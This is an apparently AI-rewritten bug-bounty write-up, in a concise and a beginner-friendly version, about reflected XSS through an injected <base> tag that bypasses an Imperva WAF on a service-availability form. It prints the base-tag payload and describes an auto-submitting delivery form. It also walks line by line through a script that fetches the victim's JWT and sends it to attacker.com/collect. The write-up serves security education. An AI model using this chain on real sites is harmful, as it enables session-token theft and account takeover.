Skip to content
XSS Write-up Intermediate

XSS via <base> Tag Injection — Bypassing Imperva WAF

An address field on a service-availability endpoint reflected input into the HTML response without encoding, and the site's own script tag used a relative path. By injecting a base tag pointing at an attacker domain, the page's existing script was loaded from the attacker's server and ran in the site's origin, letting the attacker read the victim's token.

void Follow

Published on medium.com

While testing the target application at https://www.redacted.com, I came across an endpoint used for checking service availability at a given address — /path/jsp/ajax/file.jsp. It accepts a POST request with fields like phone number, address, state, prefecture, and so on.

VOID, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

The target is a service availability checker exposed at /path/jsp/ajax/file.jsp on https://www.redacted.com. The endpoint accepts a POST request carrying fields such as phone number, address and state or prefecture, and it returns an HTML response page. That response page loads its own JavaScript through a root-relative path, in the form of a tag like <script src="/static/js/module.js">.

The feature itself is mundane: a user submits an address and the application tells them whether service is available there. The interesting part is that the submitted address is written back into the HTML response.

Setup

No accounts, roles or tooling versions are described. The only precondition that matters is the one the researcher established while probing: the Address field is reflected into the HTML response without output encoding, and an Imperva WAF sits in front of the application.

Finding it

Submitting a value in the Address field showed it appearing raw in the page source. That is the classic precondition for reflected XSS, so the obvious next step was the standard payload set: <script>alert(1)</script>, <img src=x onerror=…> and similar. Every one of them was blocked by the Imperva WAF.

Imperva's rules here are signature-based. They look for <script, event handlers, javascript: URIs and the other well-known XSS signatures. The injection point, however, was still live: HTML was reflected without encoding, and the WAF was only filtering out tags that looked dangerous.

That reframing is the whole finding. The question stopped being "which script payload gets past the filter" and became "which HTML element can I inject that the WAF does not care about but that still causes damage". The answer was <base>.

Exploitation

Step 1: understand what <base> does

The <base> element tells the browser to resolve relative URLs on the page against a different base URL instead of the current one. It executes no code and has no event handlers, which is precisely why Imperva does not block it.

On this response page, the existing script tag uses a root-relative path. Normally the browser resolves that against https://www.redacted.com, so it loads the application's own module. If a <base> tag is injected earlier in the page, the same script tag is resolved against the attacker's domain instead, and the browser fetches and executes a file the attacker fully controls, in the security context of https://www.redacted.com.

No script is injected and no event handler is used. The page's own script tag is simply pointed somewhere else.

Step 2: inject the base tag

The payload placed in the Address field is a <base> tag pointing at the attacker's domain:

HTML
<base href="https://attacker.com/">

Because the field is reflected unencoded, this lands in the HTML before the page's script tag. The WAF does not match it against any of its rules.

Step 3: host the hijacked script

On the attacker server, the researcher recreated the exact directory path the page expects (/path/js/module.js) and placed a JavaScript payload there. The payload calls the application's own login/token API endpoint with the victim's cookies included, takes the JWT out of the response, and exfiltrates it:

Step 4: deliver it

The endpoint requires a POST request, so a plain link cannot carry the payload. Instead, the researcher built a simple HTML page on the attacker server containing a hidden form pre-filled with all the required parameters, with the mAddress field holding the <base> payload, plus a small script that auto-submits the form as soon as the page loads.

The victim does not need to click anything on the target site. They visit the attacker page, the form fires, and they land on the redacted.com response page, which now has the hijacked base URL. The browser pulls the attacker's JavaScript, executes it under the redacted.com origin, calls the token endpoint with the victim's session, and the JWT is sent to the collector. From the victim's side it looks like a normal redacted.com page; behind the scenes the token is already gone.

Root cause

The direct mistake is the missing output encoding on the Address field: user input is written into the HTML response raw. The WAF in front of the application does not compensate for that, because its rules are signature-based and look for known dangerous patterns such as <script>, onerror=, onload= and javascript:. <base> matches none of them: it contains no executable code and triggers no events, it only changes URL resolution behaviour.

That benign-looking element becomes equivalent to a direct script injection because the page loads its scripts through relative paths. The two conditions together, unencoded reflection and relative script loading, are what turn a WAF bypass into code execution.

The researcher notes that this is a documented technique, referenced by PortSwigger under "dangling markup injection" and by OWASP as <base> hijacking, and that WAFs consistently miss it because the payload itself looks harmless.

Impact

The result is arbitrary JavaScript execution in the origin of https://www.redacted.com. From there an attacker can steal JWTs and session tokens, make authenticated API calls on behalf of the victim, access personal data, billing information and order history, or rewrite the page content to phish credentials. All of this follows from a single link click, with no interaction with any redacted.com UI element required.

Fix

The report does not describe a fix being applied. Relying on the WAF alone is not sufficient, as this case shows.

Variants to test

  1. Other base-relative resources. Look for pages that load scripts, stylesheets or other resources through relative paths and reflect input unencoded. A positive result is the injected <base href> changing where those resources are fetched from.
  2. Other benign-looking tags. Where <script> and event handlers are filtered, try elements that alter page behaviour without executing code, such as <base>. A positive result is the tag surviving the filter and visibly changing how the page resolves URLs.
  3. POST-only reflection points. When the vulnerable endpoint only accepts POST, build an auto-submitting form on an attacker page. A positive result is the victim's browser issuing the POST and landing on the reflected response without any click on the target.
  4. Token endpoints reachable same-origin. Check whether the application exposes an endpoint that returns a token to a same-origin request carrying the victim's cookies. A positive result is a script running under the target origin retrieving a usable JWT.

Hunting notes

This kind of bug hides in reflected parameters that are not obviously dangerous, especially on endpoints that return full HTML pages with their own script tags. During recon, the signals are: a parameter reflected raw in the response body, a WAF in front of the application that blocks classic payloads, and a response page that loads scripts through relative paths. The last one is what makes <base> worth trying.

On impact: the researcher demonstrated the full chain rather than stopping at reflection. The write-up describes a payload hosted at the expected path, a delivery page that auto-submits the POST, and exfiltration of the JWT to a collector.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A security researcher was testing a website that lets people check whether a service is available at a particular address. The site has a form where you type your address, and the site replies with a page telling you if service is available there. The researcher noticed that whatever you type into the address box is copied straight into the page that comes back, without any cleaning. That means if you type HTML code instead of an address, the browser will treat that code as part of the page.

Normally, a security tester would try to inject a script tag, which is the classic way to run your own code in someone else's page. But this site is protected by a web application firewall (WAF) called Imperva, which blocks the usual script patterns. So the researcher tried something different: a <base> tag. This tag does not run any code. It only tells the browser where to look for files that the page loads, like its JavaScript file. By injecting a <base> tag, the researcher could make the page load its JavaScript from the attacker's own server instead of the real site. That JavaScript then ran as if it were part of the real site, and it could steal the victim's login token.

This article explains the whole attack step by step, for someone who has never studied security before. It covers what each piece means, why each step was taken, and how the attack worked despite the firewall.

The target and the feature

The target is a service availability checker at https://www.redacted.com. The specific part of the site that handles the check is at the path /path/jsp/ajax/file.jsp. A path is just the part of a web address after the domain name; it tells the server which page or program to run.

The checker accepts a POST request. A POST request is one of the ways a browser can send data to a server. When you fill in a form and click submit, the browser usually sends a POST request with your answers. The form here has fields like phone number, address, state, and prefecture. The server takes those values and returns an HTML page. HTML is the language that describes the structure of a web page: headings, paragraphs, forms, and so on.

The response page includes its own JavaScript file. JavaScript is the programming language that runs inside your browser and makes pages interactive. The page loads that file using a tag like this:

HTML
<script src="/static/js/module.js">

This tag tells the browser: fetch the file at /static/js/module.js and run it. The path starts with a slash, which means it is relative to the root of the site. That file is part of the application and is trusted.

The feature itself is ordinary: you type an address, and the site tells you if service is available there. The interesting part is that the address you type is written back into the HTML response. In other words, the site echoes your input. If the site does not clean that input, an attacker can put HTML code in the address field and have the browser treat it as part of the page. That is the seed of the vulnerability.

Finding the weakness

The researcher submitted a value in the Address field and looked at the page source. The page source is the raw HTML that the server sends, which you can view in your browser's developer tools. The value appeared exactly as typed, with no encoding. Encoding means converting special characters like < and > into safe codes like &lt; and &gt;, so the browser displays them as text instead of interpreting them as HTML. Because there was no encoding, the input was being treated as live HTML.

That is the classic setup for reflected cross-site scripting, often shortened to XSS. XSS is a type of vulnerability where an attacker can make a victim's browser run code that the attacker supplied, as if it came from the trusted site. "Reflected" means the malicious input is sent to the server and immediately echoed back in the response, rather than being stored on the server.

The obvious next step was to try the standard XSS payloads. A payload is the piece of code or data an attacker sends to exploit a vulnerability. The researcher tried things like:

HTML
<script>alert(1)</script>

and

HTML
<img src=x onerror=…>

The first one tries to run a JavaScript alert. The second one tries to load an image that does not exist, and when it fails, the onerror event handler runs JavaScript. Both are well-known patterns. Every one of them was blocked by the Imperva WAF.

A WAF is a security system that sits in front of a web application and inspects incoming requests. It looks for patterns that are known to be dangerous and blocks them. Imperva's rules here are signature-based: they match specific strings like <script, event handlers such as onerror= and onload=, and javascript: URIs. A URI is a web address; javascript: is a special scheme that runs code when clicked. Because the WAF recognised these signatures, it blocked the requests.

But the injection point was still live. The server was still echoing HTML without encoding; the WAF was only filtering out tags that looked dangerous. So the researcher reframed the question: instead of asking "which script payload gets past the filter", the question became "which HTML element can I inject that the WAF does not care about but that still causes damage". The answer was <base>.

The trick: how <base> works

The <base> element is an obscure HTML tag. It tells the browser: when you see a relative URL on this page, resolve it against this base URL instead of the current one. A relative URL is one that does not start with http:// or https://; for example, /static/js/module.js is relative to the site's root. Normally, the browser resolves it against the current page's address. With a <base> tag, you can change that.

The <base> tag does not execute any code. It has no event handlers. It looks completely harmless. That is exactly why Imperva does not block it: it does not match any of the dangerous signatures.

Here is why it matters in this case. The response page includes its own JavaScript file loaded with a root-relative path, like <script src="/static/js/module.js">. Normally the browser resolves that against https://www.redacted.com, so it loads https://www.redacted.com/static/js/module.js. But if the attacker injects a <base> tag earlier in the page, like this:

HTML
<base href="https://attacker.com/">

then the browser now resolves that same script tag against the attacker's domain instead. It goes and fetches https://attacker.com/static/js/module.js, a file the attacker fully controls, and executes it in the security context of https://www.redacted.com. The security context, also called the origin, is the combination of protocol, domain, and port. Code running in the origin of redacted.com can read cookies and make requests as if it were the site itself.

That is the whole trick. The attacker is not injecting any script. They are not using any event handler. They are just changing where the page's own existing script tag points to. The WAF never sees anything suspicious because <base href="…"> does not match any of its rules.

Exploitation

Step 1: understand what <base> does

The <base> element tells the browser to resolve relative URLs on the page against a different base URL instead of the current one. It executes no code and has no event handlers, which is precisely why Imperva does not block it.

On this response page, the existing script tag uses a root-relative path. Normally the browser resolves that against https://www.redacted.com, so it loads the application's own module. If a <base> tag is injected earlier in the page, the same script tag is resolved against the attacker's domain instead, and the browser fetches and executes a file the attacker fully controls, in the security context of https://www.redacted.com.

No script is injected and no event handler is used. The page's own script tag is simply pointed somewhere else.

Step 2: inject the base tag

The payload placed in the Address field is:

HTML
<base href="https://attacker.com/">

Because the field is reflected unencoded, this lands in the HTML before the page's script tag. The WAF does not match it against any of its rules.

Step 3: host the hijacked script

On the attacker server, the researcher recreated the exact directory path the page expects (/path/js/module.js) and placed a JavaScript payload there. The payload calls the application's own login/token API endpoint with the victim's cookies included, takes the JWT out of the response, and exfiltrates it:

Let's break this down line by line.

  • fetch(location.origin + '/auth/v1/login', { credentials: 'include' }) sends a request to the application's login/token endpoint. location.origin is the current origin, which is https://www.redacted.com because the script is running there. So the request goes to https://www.redacted.com/auth/v1/login. The credentials: 'include' option tells the browser to include cookies and other credentials with the request. Cookies are small pieces of data that a site stores in your browser to remember you; they often contain session identifiers. A session identifier is a unique string that the server uses to recognise your logged-in session. By including credentials, the request is made as the victim, so the server will return the victim's token.

  • .then(function (r) { return r.text(); }) waits for the response and reads its body as text. The response is expected to contain a JWT. JWT stands for JSON Web Token, a compact way to represent a token that proves who you are. It is often used for authentication in APIs.

  • .then(function (t) { new Image().src = 'https://attacker.com/collect?t=' + encodeURIComponent(t.slice(0, 400)); }); takes the text t, truncates it to the first 400 characters with t.slice(0, 400), encodes it so it can be safely placed in a URL with encodeURIComponent, and then sets the source of a new image to a URL on the attacker's server. Setting an image source causes the browser to make a request to that URL, which sends the token to the attacker's collector. This is a common way to exfiltrate data without needing a visible element.

The credentials: 'include' option is what makes the request carry the victim's session, and location.origin keeps the call on the target origin so it is treated as same-origin. Same-origin means the request is coming from the same site, so the browser does not block it and the server treats it as a normal request from the site itself.

Step 4: deliver it

The endpoint requires a POST request, so a plain link cannot carry the payload. A link is a GET request, which sends data in the URL. The server here expects a POST, so the attacker cannot just send a URL with the payload. Instead, the researcher built a simple HTML page on the attacker server containing a hidden form pre-filled with all the required parameters, with the mAddress field holding the <base> payload, plus a small script that auto-submits the form as soon as the page loads.

A form is an HTML element that collects user input and sends it to a server. Here, the form is hidden, so the victim does not see it. The mAddress field in the delivery form holds the <base> payload. The auto-submit script runs when the page loads and submits the form without any user action.

The victim does not need to click anything on the target site. They visit the attacker page, the form fires, and they land on the redacted.com response page, which now has the hijacked base URL. The browser pulls the attacker's JavaScript, executes it under the redacted.com origin, calls the token endpoint with the victim's session, and the JWT is sent to the collector. From the victim's side it looks like a normal redacted.com page; behind the scenes the token is already gone.

Why this works despite the WAF

Imperva's rules are signature-based. They look for patterns that are known to be dangerous: <script>, onerror=, onload=, javascript:, and so on. The <base> tag does not match any of those patterns. It does not contain executable code. It does not trigger any events. All it does is change a URL resolution behaviour, which the WAF does not consider a threat. But when you combine that with a page that loads scripts via relative paths, it becomes just as powerful as a direct <script> injection.

This is a documented technique. PortSwigger covers it under "dangling markup injection" and OWASP mentions <base> hijacking as well. It is one of those edge cases that WAFs consistently miss because the payload itself looks benign.

Impact

The end result is arbitrary JavaScript execution in the origin of https://www.redacted.com. Arbitrary means the attacker can run any JavaScript they want. From there an attacker can steal JWTs and session tokens, make authenticated API calls on behalf of the victim, access personal data, billing information, and order history, or rewrite the page content to phish credentials. Phishing is tricking someone into entering sensitive information on a fake page. All of this follows from a single link click, with no interaction with any redacted.com UI element required.

Root cause

The direct mistake is the missing output encoding on the Address field: user input is written into the HTML response raw. The WAF in front of the application does not compensate for that, because its rules are signature-based and look for known dangerous patterns such as <script>, onerror=, onload= and javascript:. <base> matches none of them: it contains no executable code and triggers no events, it only changes URL resolution behaviour.

That benign-looking element becomes equivalent to a direct script injection because the page loads its scripts through relative paths. The two conditions together, unencoded reflection and relative script loading, are what turn a WAF bypass into code execution.

The researcher notes that this is a documented technique, referenced by PortSwigger under "dangling markup injection" and by OWASP as <base> hijacking, and that WAFs consistently miss it because the payload itself looks harmless.

Fix

The report does not describe a fix being applied. Relying on the WAF alone is not sufficient, as this case shows.

Variants to test

  1. Other base-relative resources. Look for pages that load scripts, stylesheets or other resources through relative paths and reflect input unencoded. A positive result is the injected <base href> changing where those resources are fetched from.
  2. Other benign-looking tags. Where <script> and event handlers are filtered, try elements that alter page behaviour without executing code, such as <base>. A positive result is the tag surviving the filter and visibly changing how the page resolves URLs.
  3. POST-only reflection points. When the vulnerable endpoint only accepts POST, build an auto-submitting form on an attacker page. A positive result is the victim's browser issuing the POST and landing on the reflected response without any click on the target.
  4. Token endpoints reachable same-origin. Check whether the application exposes an endpoint that returns a token to a same-origin request carrying the victim's cookies. A positive result is a script running under the target origin retrieving a usable JWT.

Hunting notes

This kind of bug hides in reflected parameters that are not obviously dangerous, especially on endpoints that return full HTML pages with their own script tags. During recon, the signals are: a parameter reflected raw in the response body, a WAF in front of the application that blocks classic payloads, and a response page that loads scripts through relative paths. The last one is what makes <base> worth trying.

On impact: the researcher demonstrated the full chain rather than stopping at reflection. The write-up describes a payload hosted at the expected path, a delivery page that auto-submits the POST, and exfiltration of the JWT to a collector.

Glossary

  • API: Application Programming Interface; a set of rules that lets one program talk to another, often over the web.
  • API endpoint: a specific URL where an API can be accessed.
  • Base URL: the URL that relative URLs are resolved against.
  • Cookie: a small piece of data stored by the browser that a website can use to remember you or keep you logged in.
  • Cross-site scripting (XSS): a vulnerability where an attacker can inject and run their own code in a victim's browser in the context of a trusted site.
  • Dangling markup injection: a technique where an attacker injects an unclosed HTML tag to alter how the rest of the page is parsed.
  • DOM: Document Object Model; the browser's representation of the page as a tree of objects.
  • Encoding: converting characters into a safe representation, e.g. turning < into &lt;.
  • Event handler: code that runs in response to an event, like a mouse click or an error.
  • Exfiltration: stealing data and sending it to an attacker-controlled location.
  • GET request: an HTTP request that asks for data, typically used when you click a link.
  • HTML: HyperText Markup Language; the language used to structure web pages.
  • HTTP: HyperText Transfer Protocol; the protocol used to transfer data on the web.
  • Imperva: a web application firewall product.
  • Injection point: a place where user input is inserted into a page or query.
  • JavaScript: a programming language that runs in the browser and on servers.
  • JWT (JSON Web Token): a compact token format used for authentication and information exchange.
  • Origin: the combination of protocol, domain, and port that defines a security boundary in the browser.
  • Payload: the code or data an attacker sends to exploit a vulnerability.
  • Phishing: tricking someone into revealing sensitive information by pretending to be a trustworthy entity.
  • POST request: an HTTP request that sends data to the server, often used for form submissions.
  • Reflected XSS: an XSS where the malicious input is immediately returned by the server in the response.
  • Relative URL: a URL that does not include the protocol and domain, and is resolved against the current page's URL.
  • Same-origin: having the same protocol, domain, and port.
  • Security context: the origin in which code runs, determining what it can access.
  • Session: a period of interaction between a user and a site, often tracked by a session identifier.
  • Session token: a piece of data that identifies a session.
  • Signature-based: a detection method that matches known patterns.
  • URI: Uniform Resource Identifier; a string that identifies a resource, like a URL.
  • URL: Uniform Resource Locator; a web address.
  • WAF (Web Application Firewall): a security system that filters and monitors HTTP traffic to protect a web application.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.